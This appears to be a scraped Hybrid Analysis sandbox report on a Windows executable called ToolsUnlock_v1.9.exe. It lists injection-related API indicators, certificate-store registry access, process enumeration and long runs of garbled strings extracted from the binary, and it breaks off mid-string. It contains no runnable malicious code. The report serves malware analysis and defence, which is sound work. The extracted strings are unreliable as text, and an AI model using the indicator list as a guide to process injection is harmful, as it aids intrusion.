24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 5b:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4cf,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_100% Sample e86e9b70fb4b… — Score 83/100 — Hybrid Analysis","description":"Malicious verdict for sample e86e9b70fb4b…. Malware family: Win/malicious_confidence_100%. Threat score 83/100. 5/28 AV engines flagged this file. 3 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/e86e9b70fb4b9c56fd64012644ebe1d8df91b83f27b82a47c864a63aeab7d146","keywords":["Malicious","Win/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","e86e9b70fb4b9c56fd64012644ebe1d8df91b83f27b82a47c864a63aeab7d146"],"about":{"@type":"SoftwareApplication","name":"ToolsUnlock_v1.9.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"e86e9b70fb4b9c56fd64012644ebe1d8df91b83f27b82a47c864a63aeab7d146","additionalType":"Malicious sample"},"threatScore":83,"malwareFamily":"Win/malicious_confidence_100%","antivirusDetections":{"malicious":5,"total":28},"behavioralIndicators":{"malicious":3,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T956,Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "ToolsUnlock_v1.9.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "ToolsUnlock_v1.9.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "VirtualAlloc"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "VirtualFree"; File: "ToolsUnlock_v1.9.exe") Found reference to API "EVirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00006184.00000000.136838.00080000.00000004.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "ZwMapViewOfSection" (Indicator: "ZwMapViewOfSection"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp")26:T7bb,Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "ToolsUnlock_v1.9.exe") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "ToolsUnlock_v1.9.exe") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "ToolsUnlock_v1.9.exe") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "ToolsUnlock_v1.9.exe") Found reference to API "NtOpenThread" (Indicator: "OpenThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "NtAlertResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp")27:T1118,Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "ToolsUnlock_v1.9.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "ToolsUnlock_v1.9.exe") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "QueryPerformanceFrequency"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime._GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime._QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime._QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime._NtWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime._NtWaitForSingleObject" (Indicator: "NtWaitForSingleObject"; File: "ToolsUnlock_v1.9.exe") Found reference to API "NtSetTimer2" (Indicator: "SetTimer"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "syscall.procGetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "runtime._GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "runtime._QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "runtime._QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "runtime._NtWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "runtime._NtWaitForSingleObject" (Indicator: "NtWaitForSingleObject"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")28:Tbf5,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "FreeLibrary"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime.getLoadLibraryEx" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime.getLoadLibrary" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procFreeLibrary" (Indicator: "FreeLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime._LoadLibraryExA" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime._LoadLibraryExW" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime.useLoadLibraryEx" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000000.136838.00080000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procFreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "runtime._LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "runtime._LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "runtime.useLoadLibraryEx" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")29:T4fe,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found string "ARK;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found string "ARK;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp")2a:T69c,"ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4") "ToolsUnlock_v1.9.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "ToolsUnlock_v1.9.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "ToolsUnlock_v1.9.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "ToolsUnlock_v1.9.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "ToolsUnlock_v1.9.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "ToolsUnlock_v1.9.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "ToolsUnlock_v1.9.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS")2b:T602,"ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1105073932 [PID: 6184] "ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1105082003 [PID: 6184] "ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1105331038 [PID: 6184] "ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1105340425 [PID: 6184] "ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1105607743 [PID: 6184] "ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1105619245 [PID: 6184] "ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1106122193 [PID: 6184] "ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1106131014 [PID: 6184] "ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1106263191 [PID: 6184] "ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1106272212 [PID: 6184] "ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1106410539 [PID: 6184] "ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1106419926 [PID: 6184] "ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1106565051 [PID: 6184] "ToolsUnlock_v1.9.exe" queried SystemProcessInformation at 00000000-00006184-00000C15-1106573745 [PID: 6184]2c:T5b8d,Found api reference "s, MB) workers= called from flushedWork idlethreads= is nil, not nStackRoots= pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= , gp->status=-byte block (: unknown pc Aisha OkonkwoCertOpenStoreDrillRig-BetaElena VasquezFindNextFileWFreeAddrInfoWGC sweep waitGunjala_GondiMapViewOfFileMasaram_GondiMende_KikakuiOld_HungarianPavel RomanovRegEnumKeyExWRegOpenKeyExWStarliner-Mk4VirtualUnlockWriteConsoleWaolljoipyjbceavg_body_tempbad flushGen bad map statecrew_veteransdebugCall2048double unlockexchange fullfatal error: focus-test-OKgethostbynamegetservbynamegogmexltepwozleaking_tankslevel 3 resetload64 failedmin too largeminor-fatiguenfwfngqsxfpgsnil stackbaseoiuklmtjplcbmosxpdhuazapsbout of memoryprofMemActiveprofMemFutureqrvoybocsbkhcruntime: seq=runtime: val=sfhllwyclboocsrmount errorstress_eventstimer expiredtraceStackTabvalue method xadd64 failedxchg64 failedysdaxhsmbirhm}sched={pc: but progSize nmidlelocked= on zero Value out of range procedure in untyped args -thread limit" (Indicator: "CertOpenStore"; File: "ToolsUnlock_v1.9.exe") Found api reference "CertCloseStoreCreateProcessWCryptGenRandomFindFirstFileWFlight SurgeonFormatMessageWGC assist waitGC worker initGetConsoleModeGetProcAddressGetUserNameExWHiroshi TanakaMB; allocated NetUserGetInfoOther_ID_StartPattern_SyntaxProcess32NextWQuotation_MarkSetFilePointerTranslateNameWWeatherStationallocfreetraceatrqbsjxbpenisavg_heart_ratebad allocCountbad restart PCbad span statebxxebddglpwbzwcalibration-OKcomm_delay_secfgseidftxohiqgfile too largefinalizer waitgcstoptheworldgetprotobynamegmhyzygvlbcyezhfkfcj-medicalhgipvqtllzzubdhouini-medicalinvalid syntaxis a directoryjfjcemuigghjnvlehkwysxcmssuzlevel 2 haltedlevel 3 haltedmission_statusnicnveagaeqbncno module datano such devicepollCache.lockpower_budget_wprotocol errorqslyik-medicalruntime: full=runtime: want=s.allocCount= semaRoot queuessfdco-medicalstack overflowstopm spinningstore64 failedsync.Cond.Waittemp-minus-63Ctext file busytoo many linkstoo many usersttpfxc-medicalunexpected EOFunsafe.Pointervjztuzxxnfqonovpolrx-medicalwinapi error #work.full != 0zf" (Indicator: "CertCloseStore"; File: "ToolsUnlock_v1.9.exe") Found api reference "CertCloseStoreCreateProcessWCryptGenRandomFindFirstFileWFlight SurgeonFormatMessageWGC assist waitGC worker initGetConsoleModeGetProcAddressGetUserNameExWHiroshi TanakaMB; allocated NetUserGetInfoOther_ID_StartPattern_SyntaxProcess32NextWQuotation_MarkSetFilePointerTranslateNameWWeatherStationallocfreetraceatrqbsjxbpenisavg_heart_ratebad allocCountbad restart PCbad span statebxxebddglpwbzwcalibration-OKcomm_delay_secfgseidftxohiqgfile too largefinalizer waitgcstoptheworldgetprotobynamegmhyzygvlbcyezhfkfcj-medicalhgipvqtllzzubdhouini-medicalinvalid syntaxis a directoryjfjcemuigghjnvlehkwysxcmssuzlevel 2 haltedlevel 3 haltedmission_statusnicnveagaeqbncno module datano such devicepollCache.lockpower_budget_wprotocol errorqslyik-medicalruntime: full=runtime: want=s.allocCount= semaRoot queuessfdco-medicalstack overflowstopm spinningstore64 failedsync.Cond.Waittemp-minus-63Ctext file busytoo many linkstoo many usersttpfxc-medicalunexpected EOFunsafe.Pointervjztuzxxnfqonovpolrx-medicalwinapi error #work.full != 0zf" (Indicator: "CryptGenRandom"; File: "ToolsUnlock_v1.9.exe") Found api reference "extAddr rzrojuit-departuresample-A1-culturedsample-A2-culturedship_total_mass_kgstreams pipe errorsystem page size (total_flight_hourstracebackancestorstrlfkcngvq-medicalvalue out of rangexxwjrrttno-medical [controller reset] called using nil *, g->atomicstatus=, gp->atomicstatus=Canadian_AboriginalCreateSymbolicLinkWCryptReleaseContextGC work not flushedGetCurrentProcessIdGetSystemDirectoryWGetTokenInformationIDS_Binary_OperatorKhitan_Small_ScriptPattern_White_SpaceWaitForSingleObjectadjusttimers: bad pavg_engine_throttlebad ABI descriptionbad file descriptorbad notifyList sizebad runtime" (Indicator: "CryptReleaseContext"; File: "ToolsUnlock_v1.9.exe") Found api reference "mstartbad sequence numberbuhrlkwzm-departuredevice not a streamdirectory not emptydisk quota exceededdmhgvtwnt-departurednqaprtftbn-medicaldodeltimer: wrong Pengines_operationalepzieyhxv-departurefile already closedfile already existsfile does not existgfhizslzw-departurejcgpfwbuitv-medicaljkdqeygcq-departurejkqwvsrdr-departurekliluxpgw-departurem not found in allmmarking free objectmarkroot: bad indexmax_hull_stress_mpamissing deferreturnmspan.sweep: state=notesleep not on g0ntdll.dll not foundnwait > work.nprocsozefumgfc-departurepageAlloc.scav.lockpanic during mallocpanic during panicpanic holding lockspanicwrap: no ( in panicwrap: no ) in runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftstopm holding lockssysMemStat overflowtoo many open filestotal_burn_time_sectotal_dish_area_sqmunexpected g statusunknown wait reasonvqiacuycw-departurewdgpjhazwih-medicalwinmm.dll not foundxtqkwycvnje-medicalyxlytdwej-departure markroot jobs done to unallocated spanCertOpenSystemStoreWCreatePr" (Indicator: "CertOpenSystemStoreW"; File: "ToolsUnlock_v1.9.exe") Found api reference "ocessAsUserWCryptAcquireContextWEgyptian_HieroglyphsGetAcceptExSockaddrsGetCurrentDirectoryWGetFileAttributesExWIDS_Trinary_OperatorMeroitic_HieroglyphsSeek: invalid offsetSeek: invalid whenceSetCurrentDirectoryWSetHandleInformationTerminal_Punctuationanomalies_unresolvedbad font file formatbad system page sizebad use of bucket.bpbad use of bucket.mpchan send (nil chan)close of nil channelconnection timed outdodeltimer0: wrong Pdrcdnlybhd-departureedgzepmnqkxp-medicalfloating point errorforcegc: phase errorfwdzmpbcoq-departuregikgcbifge-departuregkipqgoent-departurego of nil func valuegopark: bad g statusihvattuqif-departureimgtfhzxtlug-medicalinconsistent lockedminvalid request codeinvalid write resultiqlgcpiohd-departureis a named type filekey has been revokedlzuvuuqxnglz-medicalmalloc during signalnotetsleep not on g0olaydinyue-departurep mcache not flushedpacer: assist ratio=preempt off reason: reflect.makeFuncStubsemaRoot rotateRighttotal_celestial_masstotal_data_rate_kbpstrace: out of memorywcjqwjyfdqtp" (Indicator: "CryptAcquireContextW"; File: "ToolsUnlock_v1.9.exe") Found api reference "not nilonline_ground_stationsprotocol not availableprotocol not supportedqtadomfjwtxr-departureremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemsscanstack - bad statussdigxbmoyuty-departuresend on closed channelship_calculated_dv_mpssnyyqpymqcxo-departuresouthern_hemi_stationsspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largevffycxgzuuok-departurevnwevvvtryfjze-medicalwirep: invalid p statewoshbalzkqog-departurewxxcdvodlcklgy-medicalwyrlotbszxzkuh-medicalxfexxocslffh-departurexsfkcd-orbit-insertionxvedrbcfqmin-departureyaokmq-orbit-insertionykgrbkjjehwn-departureyxvznyaagqicie-medicalzoshcc-orbit-insertion) must be a power of 2CertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeLogical_Order_ExceptionMB during sweep; swept Noncharacter_Code_PointSetEnvironmentVariableW" missing CPU supportactive_science_payloadsawiphkrcqpylpqc-medicalbsesbdjerayhgve" (Indicator: "CertGetCertificateChain"; File: "ToolsUnlock_v1.9.exe"), Found api reference "-medicalchan receive (nil chan)close of closed channeldevice or resource busyexbyxrrmsyojv-departurefatal: morestack on g0garbage collection scangcDrain phase incorrectindex out of range [%x]interrupted system callinvalid m->lockedInt = iomtjfe-orbit-insertionleft over markroot jobsmakechan: bad alignmentnanotime returning zerono space left on devicenozyvhg-orbit-insertionoabrakmrnehiwjw-medicaloperation not permittedoperation not supportedpanic during preemptoffprocresize: invalid argqbyjinlqhsfpy-departurereflect.methodValueCallruntime: internal errorruntime: invalid type runtime: netpoll failedruntime: s.allocCount= s.allocCount > s.nelemsschedule: holding locksshrinkstack at bad timespan has no free stacksstack growth after forksystem huge page size (tanbdoa-orbit-insertionwolywao-orbit-insertionwork.nwait > work.nprocxdfulwd-orbit-insertionxtlzpezjzmyihue-medicalyefhmpe-orbit-insertionzwgqucuzsqjjile-medicalCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWamkjwpvyvafbha-departure" (Indicator: "CertFreeCertificateChain"; File: "ToolsUnlock_v1.9.exe") Found api reference "lock: lock countslice bounds out of rangesocket type not supportedstartm: p has runnable gsstoplockedm: not runnabletbpxtomekvzefkf-departureunexpected fault address zpnomvaulkskbaf-departureCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatuscall from unknown functioncorrupted semaphore ticketentersyscall inconsistent forEachP: P did not run fnfreedefer with d.fn != nilinitSpan: unaligned lengthinvalid request descriptoritkgaexkmh-orbit-insertionkpykpyalxs-orbit-insertionlnlwkhmnqp-orbit-insertionname not unique on networknegative idle mark workersnfaboqunfu-orbit-insertionno CSI structure availableno message of desired typenotewakeup - double wakeupout of memory (stackalloc)persistentalloc: size == 0required key not availableruntime: bad span s.state=runtime: pcHeader: magic= shrinking stack in libcallshwnynzbpe-orbit-insertionstartlockedm: locked to meuse of invalid sweepLockerwarhptuzdu-orbit-insertionzaafpbpgkz-orbit-insertion not in stack roots range [: unexpected return pc for" (Indicator: "CertFreeCertificateContext"; File: "ToolsUnlock_v1.9.exe") Found api reference "CertEnumCertificatesInStoreG waiting list is corruptedaddress not a stack addresschannel number out of rangecommunication error on sendcould not find QPC syscallsfailed to set sweep barriergcstopm: not waiting for gcgrowslice: cap out of rangeinternal lockOSThread errorinvalid profile bucket typekey was rejected by servicemakechan: size out of rangemakeslice: cap out of rangemakeslice: len out of rangemspan.sweep: bad span statenot a XENIX named type fileopfenroczoc-orbit-insertionprogToPointerMask: overflowqvlcmqeiksl-orbit-insertionrivtuzdoodi-orbit-insertionrunlock of unlocked rwmutexruntime: asyncPreemptStack=runtime: checkdead: find g runtime: checkdead: nmidle=runtime: netpollinit failedruntime: thread ID overflowruntime" (Indicator: "CertEnumCertificatesInStore"; File: "ToolsUnlock_v1.9.exe") Found api reference "unlock: lock countsigsend: inconsistent statestack size not a power of 2startm: negative nmspinningstopTheWorld: holding lockstimer when must be positivetoivatgbnlx-orbit-insertiontoo many callback functionsvmqtrbkmtlu-orbit-insertionwfpepyagiyp-orbit-insertionwork.nwait was > work.nprocxmdjadnzjqj-orbit-insertionzuxneaevcpl-orbit-insertion args stack map entries for CertCreateCertificateContextFixedStack is not power-of-2Prepended_Concatenation_Mark[originating from goroutine comparing uncomparable type destination address requiredeijaykfodugb-orbit-insertionelgxkpqsjnjz-orbit-insertionfatal: morestack on gsignalfile descriptor in bad statefindrunnable: netpoll with pfound pointer to free objectgcBgMarkWorker: mode not 